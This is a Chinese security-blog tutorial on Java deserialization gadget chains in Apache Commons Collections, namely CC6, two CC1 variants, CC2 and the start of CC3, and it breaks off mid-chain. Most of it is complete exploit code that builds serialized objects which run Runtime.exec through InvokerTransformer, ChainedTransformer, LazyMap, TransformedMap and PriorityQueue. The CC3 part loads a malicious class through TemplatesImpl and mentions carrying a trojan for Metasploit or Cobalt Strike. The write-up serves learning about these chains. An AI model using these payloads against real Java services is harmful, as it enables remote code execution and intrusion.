freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Java反序列化CC链的汇总
小菜鸡xiaocaiji 2023-08-06 18:39:29 167253

CC6链

CC6链应该是比较简单的链,通俗易懂。所以先从CC6开始学习,这里我用的是DefaultedMap,ysoserial中使用的是LazyMap,但是他们两个几乎相同,链的前后都一样,所以建议大家看完这篇文章可以自己写一写LazyMap的链。

需要的储备知识:

  • Java集合
  • 反射

入口类

InvokerTransformer

从这个类(InvokerTransformer)入手,天然的任意命令执行。

1691415301_64d0f30596346ab75fc70.png!small?1691415302098

利用方式:

public static void main(String[] args) throws Exception {
//
        Runtime runtime = Runtime.getRuntime();
//
//        runtime.exec("calc");

//        Class<? extends Runtime> aClass = runtime.getClass();
//
//        Method exec = aClass.getDeclaredMethod("exec", String.class);

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(runtime);// 弹出计算器
    }
/**
这里有一个小问题,Runtime类是不能反序列化的,那么我们利用的时候可能需要用Runtime.class类利用,因为Class是可以反序列化的。
*/

查找谁用了transform,右键(Find Usages)

1691415317_64d0f315b71caa1283526.png!small?1691415318382

ChainedTransformer

发现有很多类都是使用了这个函数,找找看有没有可以利用的。发现了ChainedTransformer类

1691415323_64d0f31baa274ef04e594.png!small?1691415324101

看代码能够看出来,该方法会按照数组中转换器的顺序,将 object 对象传递给每个转换器的 transform 方法进行处理。每个转换器可能会对对象进行修改、处理或转换,然后将处理后的对象传递给下一个转换器。最后,经过所有转换器处理后的结果将作为方法的返回值返回。例如:


interface Transformer {
    Object transform(Object input);
}

class DoubleTransformer implements Transformer {
    public Object transform(Object input) {
        if (input instanceof Integer) {
            return (Integer) input * 2;
        }
        return input;
    }
}

class StringTransformer implements Transformer {
    public Object transform(Object input) {
        return input.toString();
    }
}

class AddSuffixTransformer implements Transformer {
    public Object transform(Object input) {
        if (input instanceof String) {
            return input + "_processed";
        }
        return input;
    }
}

public class TransformationPipeline {
    public static void main(String[] args) {
        Transformer[] transformers = {
            new DoubleTransformer(),
            new StringTransformer(),
            new AddSuffixTransformer()
        };

        Object input = 5; // Example input

        for (Transformer transformer : transformers) {
            input = transformer.transform(input);
        }

        System.out.println("Final Result: " + input); // Output: Final Result: 10_processed
    }
}

但是貌似没有什么可利用的点,不过后面会用到这个类。

继续找,可以看到在map中有好几处使用了这个方法,我们尝试在DefaultMap中查找利用点

1691415360_64d0f3401584c70fa2e6b.png!small?1691415360499

DefaultedMap

可以看到DefaultedMap重写了get方法,如果value可控,我们在key是我们put进去的,也必然可控,

1691415363_64d0f34337409771e0eee.png!small?1691415363584

1691415373_64d0f34d79d73d14fd92e.png!small?1691415373829

我们看到在构造函数中对value赋值,但是这里又出现了一个ConstantTransformer类,这里会把我们自动创建一个ConstantTransformer类给value,那我们上面就没办法利用,当然这里可以使用反射的方式注入value的值

1691415379_64d0f353429a3e4b80b34.png!small?1691415379780

1691415384_64d0f358867a4c609fcc8.png!small?1691415385214

这是目前类的关系图

1691415387_64d0f35b3eb32768ccffa.png!small?1691415387822


目前为止的利用代码:

public static void main(String[] args) throws Exception {
//
        Runtime runtime = Runtime.getRuntime();
//
//        runtime.exec("calc");

//        Class<? extends Runtime> aClass = runtime.getClass();
//
//        Method exec = aClass.getDeclaredMethod("exec", String.class);

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        //初始化
        DefaultedMap defaultedMap = new DefaultedMap(null);

        //反射的方式注入value的值
        Class<? extends DefaultedMap> aClass = defaultedMap.getClass();
        Field value = aClass.getDeclaredField("value");
        value.setAccessible(true);
        value.set(defaultedMap,invokerTransformer);

        //调用get
        defaultedMap.get(runtime); //成功弹出计算器

    }

TiedMapEntry

接下来就是找get方法的利用了,get的利用是有很多的,这个时候找利用类可能需要参考一下别人写的链了,找到了TiedMapEntry。

1691415417_64d0f379ad851ed5da8f3.png!small?1691415418187

HashMap

在URLDNS链中,我们知道hashMap在反序列化的时候会调用hash(key) == key.hashCode()

,这样的话我们岂不是直接找到出口。但是PUT方法也会调用hash(key) ,所以还需要用反射进行处理一下。具体见代码。

1691415425_64d0f381d946e8ef3ece4.png!small?1691415426340

这是目前类的关系图。

1691415461_64d0f3a5f0d84f87cedf9.png!small?1691415462668

利用代码:

package com.haozai.serialTest.CC;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

/**
 * @author jackliu  Email:
 * @description: CC1链
 * @Version
 * @create 2023-08-06 15:44
 */
public class CC1 {
    public static void main(String[] args) throws Exception {
//
        Runtime runtime = Runtime.getRuntime();
//
//        runtime.exec("calc");

//        Class<? extends Runtime> aClass = runtime.getClass();
//
//        Method exec = aClass.getDeclaredMethod("exec", String.class);

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        //初始化
        DefaultedMap defaultedMap = new DefaultedMap(invokerTransformer);

        //反射的方式注入value的值
        Class<? extends DefaultedMap> aClass = defaultedMap.getClass();
        Field value = aClass.getDeclaredField("value");
        value.setAccessible(true);
        value.set(defaultedMap,invokerTransformer);

        //调用get
//        defaultedMap.get(runtime); //成功弹出计算器


        //我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), runtime);
//        tiedMapEntry.hashCode();

        HashMap hashMap = new HashMap();
        //这一步就会弹计算器,因为put的时候也会对key进行计算hashCode
        hashMap.put(tiedMapEntry,"za1za1");
        //为了解决这个问题,我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组
        //put结束后在利用反射修改回来
        Class<? extends TiedMapEntry> aClass1 = tiedMapEntry.getClass();
        Field map = aClass1.getDeclaredField("map");
        map.setAccessible(true);
        map.set(tiedMapEntry,defaultedMap);

        //hashMap.hashCode(); //弹出计算器,说明没问题

        //序列化和反序列化
        serialObj(hashMap);
        unSerialObj();


    }

    //序列化
    public static void serialObj(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));

        oos.writeObject(o);
    }

    //反序列化
    public static Object unSerialObj() throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = objectInputStream.readObject();
        return  o;

    }

}

解决Runtime不能序列化的问题

好吧,果然没有那么简单没发现报错了,提示Runtime类不能序列化,看下Runtime类果然没有实现Serializable接口,那咋办呢?

1691415477_64d0f3b5d0ce8e99ddbed.png!small?1691415478273

1691415480_64d0f3b87759bed13b544.png!small?1691415480899

这个时候,我们想既然我们利用的入口是通过反射利用的,那我们是不是可以通过Runtime对应的class对象利用呢,这个时候看下Class类是否可以序列化:

1691415483_64d0f3bb5163ffb40ebb2.png!small?1691415483700

我们看到是实现了序列化接口的。

那我们怎么利用构造呢,这里有点点绕。先看下图示说明

1691415485_64d0f3bde5a126ccf5c5c.png!small?1691415487339

只要明白了上述关系,那构造起来不是分分钟?

先来个普通反射版本,在根据这个反射的写法,构造到成Transform的写法。

Class aClass1 =  Runtime.class;

 Method getRuntime = aClass1.getDeclaredMethod("getRuntime", null);
 Runtime r = (Runtime) getRuntime.invoke(null, null);
 Method exec = aClass1.getDeclaredMethod("exec", String.class);
 exec.invoke(r,new Object[]{"calc"});
 
 //我们传入的是aClass1,在transform中又执行了getClass,所以我们得到的aClass1的class对象,通过反调用aClass1的getDeclaredMethod方法即可。
 
Class aClass1 =  Runtime.class;

 Class<? extends Class> aClass2 = aClass1.getClass();

 Method getDeclaredMethod = aClass2.getDeclaredMethod("getDeclaredMethod", String.class, Class[].class);

 //参数是获取getRuntime,得到getRuntimeMethod,下面执行
 Method getRuntimeMethod = (Method) getDeclaredMethod.invoke(aClass1, new Object[]{"getRuntime", null});
 
 
 //执行invoke,获得Runtime
 Class<? extends Method> aClass3 = getRuntimeMethod.getClass();
 Method minvoke = aClass3.getDeclaredMethod("invoke", Object.class, Object[].class);
 Runtime r = (Runtime) minvoke.invoke(getRuntimeMethod,null,null);

 //获取exec方法的method
 Class<? extends Runtime> aClass = r.getClass();
 Method exec = aClass.getDeclaredMethod("exec", String.class);
 exec.invoke(r,"calc");
 
 //接下来构造invokerTransformer
 
        InvokerTransformer getDeclaredMethod = new InvokerTransformer("getDeclaredMethod",
                                                                                new Class[]{String.class, Class[].class},
                                                                                new Object[]{"getRuntime",null});
                        //调用transform,,得到 Method getRuntimeMethod
        Method runtimeMethod = (Method) getDeclaredMethod.transform(Runtime.class);
//        Class<? extends Method> aClass = runtimeMethod.getClass();
//        aClass.getDeclaredMethod("invoke", Object.class, Object[].class)
        InvokerTransformer invoke = new InvokerTransformer("invoke",
                                                                            new Class[]{Object.class, Object[].class},
                                                                            new Object[]{null,null}
                                                                                );
        Runtime r = (Runtime) invoke.transform(runtimeMethod);

        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        exec.transform(r); //弹窗
        
这里的利用方式是呈链式结构,这样的话我们应该怎么利用呢?
既然要使用到exec,那我们必然需要用到runtime对象,这个时候就要用到刚刚看到的ChainedTransformer类,看下他的transform方法

 public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

iTransformers是通过构造方法传进去的Transformer类。这样看来我们利用是不是刚刚好,上一个的返回值就是下一个的输入值。

因此可以构造如下
InvokerTransformer[] transformers = new InvokerTransformer[]{
        new InvokerTransformer("getDeclaredMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null,null}
        ),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class); //弹窗

这样我们只需要把TiedMapEntry的key值替换成Runtime.class就行了,这样就可以解决runtime类不能反序列化的问题啦

1691415501_64d0f3cde45572e74a961.png!small?1691415502293

完整链代码

package com.haozai.serialTest.CC;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

/**
 * @author jackliu  Email:
 * @description: CC1链
 * @Version
 * @create 2023-08-06 15:44
 */
public class CC1 {
    public static void main(String[] args) throws Exception {
//
//        Runtime runtime = Runtime.getRuntime();
//
//        runtime.exec("calc");

//        Class<? extends Runtime> aClass = runtime.getClass();
//
//        Method exec = aClass.getDeclaredMethod("exec", String.class);

//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        InvokerTransformer[] transformers = new InvokerTransformer[]{
                new InvokerTransformer("getDeclaredMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null,null}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class); //弹窗

        //初始化
        DefaultedMap defaultedMap = new DefaultedMap(null);

        //反射的方式注入value的值
        Class<? extends DefaultedMap> aClass = defaultedMap.getClass();
        Field value = aClass.getDeclaredField("value");
        value.setAccessible(true);
        value.set(defaultedMap,chainedTransformer);

        //调用get
//        defaultedMap.get(runtime); //成功弹出计算器


        //我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), Runtime.class);
//        tiedMapEntry.hashCode();

        HashMap hashMap = new HashMap();
        //这一步就会弹计算器,因为put的时候也会对key进行计算hashCode
        hashMap.put(tiedMapEntry,"za1za1");
        //为了解决这个问题,我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组
        //put结束后在利用反射修改回来
        Class<? extends TiedMapEntry> aClass1 = tiedMapEntry.getClass();
        Field map = aClass1.getDeclaredField("map");
        map.setAccessible(true);
        map.set(tiedMapEntry,defaultedMap);

        //hashMap.hashCode(); //弹出计算器,说明没问题

        //序列化和反序列化
//        serialObj(hashMap);
        unSerialObj();


    }

    //序列化
    public static void serialObj(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));

        oos.writeObject(o);
    }

    //反序列化
    public static Object unSerialObj() throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = objectInputStream.readObject();
        return  o;

    }

}

CC1链

CC1链有两个,几乎一样。但是这条链要对jdk版本有要求,因为用到了内置的AnnotationInvocationHandler类,这个类用于动态代理。所以要在学习这条链之前,还需要先了解动态代理。CC的版本3.2.1 , jdk的版本 <= jdk8u65

需要的储备知识:


  • Java集合
  • 反射
  • 动态代理

前面几个利用类和CC6都一样

利用代码:

这里做一个简单的修改,我们知道 ConstantTransformer类,会把你传入构造器的参数原封不动的返回,这样我们在transformers中,可以利用ConstantTransformer直接返回Runtime.class类。在调用chainedTransformer的transform方法的时候,不论传入什么参数,new ConstantTransformer(Runtime.class),都会返回Runtime.class,这样即使我们传入的参数不可控,只要调用了chainedTransformer的transform的方法,就会触发命令执行。这样就让利用面扩大了。

Transformer[] transformers = new Transformer[]{

        new ConstantTransformer(Runtime.class),

        new InvokerTransformer("getDeclaredMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null,null}
        ),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

chainedTransformer.transform("test"); //弹窗

LazyMap

在LazyMap的get方法中用到了transform方法,其中factory可以使用构造器赋值,key可控。


//-----------------------------------------------------------------------
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}


AnnotationInvocationHandler

public Object invoke(Object proxy, Method method, Object[] args) {
    //方法名称
    String member = method.getName();
    //方法的参数类型
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}


在AnnotationInvocationHandler类中的readObject方法中,调用了map.get。但是这里的key是不可控的,不过有了上述的方法,即使key不可控,也可以利用。下面就是构造,让代码进入判断执行到我们想要的语句。

在invoke中,此时可以利用get方法,进行上面的利用。

当memberVaule是LazyMap,

member是随便传。

但是现在的问题是如何才能够让invoke执行呢?在动态代理中,如: 利用proxy动态生成A的代理对象,当执行A.xx()的时候就会自动调用invoke方法。

类比以上方法,我们在创建代理对象的时候在第三个参数是自己写的InvocationHandler,如果我们把AnnotationInvocationHandler对象当作第三个参数,不就会执行invoke了吗。

但是为了保证能够顺利执行到get方法,要保证被代理类对象执行的方法是空参,并且不能是equals、toString、hashCode、annotationType。

接下来的利用的方式:

1、利用readObject,序列化的时候自动会执行。我们可以创建一个AnnotationInvocationHandler对象,把memberValues设置成代理对象,因为这里会执行一个空参函数,符合上述约束。

2、在创建代理对象,把第三个参数设置为上一步的AnnotationInvocationHandler对象。

3、接下来就是反序列化了,在反序列化的时候,我们期望代理类对象可以调用空参方法,刚好entrySet可以满足。因此我们创建AnnotationInvocationHandler,把memberValues设置为代理类对象,进行反序列化。


完整利用链

package com.haozai.serialTest.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/**
 * @author jackliu  Email:
 * @description: CC1链
 * @Version
 * @create 2023-08-07 9:26
 */
public class CC1 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getDeclaredMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null,null}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//        chainedTransformer.transform("test"); //弹窗

//        chainedTransformer.transform(Runtime.class);
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
//        lazyMap.get("随便传");//弹窗
        //创建 sun.reflect.annotation,因为是默认修饰,只能在同包下调用
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor<?> annotationConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        //准备好了invocationHandler,也就是动态代理的第三个参数
        InvocationHandler invocationHandler = (InvocationHandler) annotationConstructor.newInstance(Override.class, lazyMap);

        //下面对lazyMap最动态代理,当反序列化的时候,会调用entryset方法,会走到invocationHandler中的invoke方法
        //又entryset方法满足空参函数,就顺利的调用了layzMap.get方法。触发弹窗
        Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler);

        //因为要对AnnotationInvocationHandler初始化,因此需要再次创建对象,并且把我们期望的mapProxy当作memberValues传进去

        Object instance = annotationConstructor.newInstance(Override.class, mapProxy);
        //对这个对象序列化和反序列化
//        serialObj(instance);

        unSerialObj();//弹窗



    }
    //序列化
    public static void serialObj(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));

        oos.writeObject(o);
    }

    //反序列化
    public static Object unSerialObj() throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = objectInputStream.readObject();
        return  o;

    }

}

第二条链

TransformedMap

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

AbstractInputCheckedMapDecorator.MapEntry

static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }

Java中,当子类重写了父类的方法后,子类调用该方法的顺序遵循以下规则:


  1. 如果子类对象调用该方法,首先会检查子类是否有该方法的重写实现,如果有,则执行子类的重写方法。
  2. 如果子类没有重写该方法,或者子类的重写方法内部通过

super关键字调用了父类的方法,那么会执行父类的方法。

具体顺序可以总结为:优先执行子类的重写方法,如果没有则执行父类的方法。

故图中箭头不代表执行顺序,只是便于理解画的图。

1691415728_64d0f4b0ea2e0cf0fcd6a.png!small?1691415730779

对AnnotationInvocationHandler类构造测试

AnnotationType a = AnnotationType.getInstance(Target.class);

Map<String, Class<?>> stringClassMap = a.memberTypes();

for (Map.Entry entry : stringClassMap.entrySet()){

    System.out.println(entry.getKey() ); //这个获取的是注解中的属性
    System.out.println(entry.getValue());  //这个对应的是属性的类型.class

}

完整利用链

1691415764_64d0f4d465f81d46aec4c.png!small?1691415765067


package com.haozai.serialTest.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Queue;

/**
 * @author jackliu  Email:
 * @description: CC1另外一条链
 * @Version
 * @create 2023-08-07 10:37
 */
public class CC1_2 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getDeclaredMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null,null}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap hashMap = new HashMap();

        hashMap.put("value","123");

        Map<Object,Object> transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,
                null, chainedTransformer);

//        for (Map.Entry entry: transformedMap.entrySet()){
//            entry.setValue(1);
//        }

//        Class<? extends TransformedMap> aClass = transformedMap.getClass();
//        Method checkSetValueM = aClass.getDeclaredMethod("checkSetValue", Object.class);
//        checkSetValueM.setAccessible(true);
//        checkSetValueM.invoke(transformedMap,new Object[]{null}); //弹窗

//        transformedMap.put(1,1);//传入一个键值对,保证有值,可以遍历

//        for (Map.Entry entry : transformedMap.entrySet()){
//            entry.setValue(1); //弹窗
//        }
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor<?> annotationConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        //准备好了invocationHandler,也就是动态代理的第三个参数
        InvocationHandler invocationHandler = (InvocationHandler) annotationConstructor.newInstance(Target.class, transformedMap);

        serialObj(invocationHandler);
        unSerialObj();
    }

    //序列化
    public static void serialObj(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));

        oos.writeObject(o);
    }

    //反序列化
    public static Object unSerialObj() throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = objectInputStream.readObject();
        return  o;

    }
}

CC2链

要求CC版本是4.0 ,因为4.0的时候TransformingComparator实现了Serializable接口,才能够利用。


/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */


TransformingComparator

public TransformingComparator(Transformer transformer, Comparator decorated) {
    this.decorated = decorated;
    this.transformer = transformer;
}

//================================================
public int compare(Object obj1, Object obj2) {
    Object value1 = this.transformer.transform(obj1);
    Object value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}


PriorityQueue


readObject

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}


heapify();


siftDown(i, (E) queue[i]);


siftDown


private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}


siftDownUsingComparator


private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}


完整链代码

package com.haozai.serialTest.CC;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * @author jackliu  Email:
 * @description: CC2链
 * @Version
 * @create 2023-08-07 15:32
 */
public class CC2 {

    public static void main(String[] args) throws Exception {

       Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getDeclaredMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null,null}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);



        PriorityQueue priorityQueue = new PriorityQueue(2,null);
        //使用类似的手法,先add后再反射修改priorityQueue的comparator的值
        priorityQueue.add(1); //此时已经执行了弹窗
        priorityQueue.add(2);
        Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
        Field comparator = aClass.getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,transformingComparator);

//        serialObj(priorityQueue);
        unSerialObj(); //弹窗


    }

    //序列化
    public static void serialObj(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));

        oos.writeObject(o);
    }

    //反序列化
    public static Object unSerialObj() throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = objectInputStream.readObject();
        return  o;

    }

}


CC3链

这条换了一种方式,不在使用任意命令执行,而是使用任意代码执行,使用了defineClass动态加载字节码文件,这样我们可以直接把木马文件方法传过去和MSF或CS联动。这里需要注意一个小点,由于这条链的最后还是会调用CC1链所以还是会用到Transformer,但是这个方法中反射调用的是public方法,因为使用的是getMethod只能获取public修饰的方法,所以这里再找利用点的时候也需要找public方法。


ClassLoader

protected final Class<?> defineClass(String name, byte[] b, int off, int len,
                                     ProtectionDomain protectionDomain)
    throws ClassFormatError
{
    protectionDomain = preDefineClass(name, protectionDomain);
    String source = defineClassSourceLocation(protectionDomain);
    Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
    postDefineClass(c, protectionDomain);
    return c;
}

TemplateImpl.defineClass

Class defineClass(final byte[] b) {
    return defineClass(null, b, 0, b.length);
}


TemplateImpl

private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            //要执行到这里
            _class[i] = loader.defineClass(_bytecodes[i]);

//===============================================================
//只要静态代码块在类初始化的时候会执行,也就是newInstance();
private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) 
//代码执行到这里就可以了
_class[_transletIndex].newInstance();


找到这里可以先构造加载恶意类了。

1691416036_64d0f5e41c56f6cfb2793.png!small?1691416036580



public static void main(String[] args) throws Exception {

    //加载恶意class文件
    String EvalPath="G:\\FlFile\\Test.class";

    File file = new File(EvalPath);

    FileInputStream fis = new FileInputStream(file);
    byte[] b = new byte[(int) (file.length())];
    fis.read(b, 0, (int) (file.length()));
    byte [][] codes  = new byte[][]{b};


    //TemplatesImpl
    TemplatesImpl templates = new TemplatesImpl();

    //执行defineTransletClasses,通过反射的方式
    Class<? extends TemplatesImpl> aClass = templates.getClass();
    //为_bytecodes属性赋值class文件的byte数组
    // private byte[][] _bytecodes = null;
    Field bytecodes = aClass.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    bytecodes.set(templates,codes);

    //======================= start==========================
    //为了解决401行空指针异常需要为_tfactory赋值
    //_tfactory是不可序列化的,但是在readObject中
    //_tfactory = new TransformerFactoryImpl();
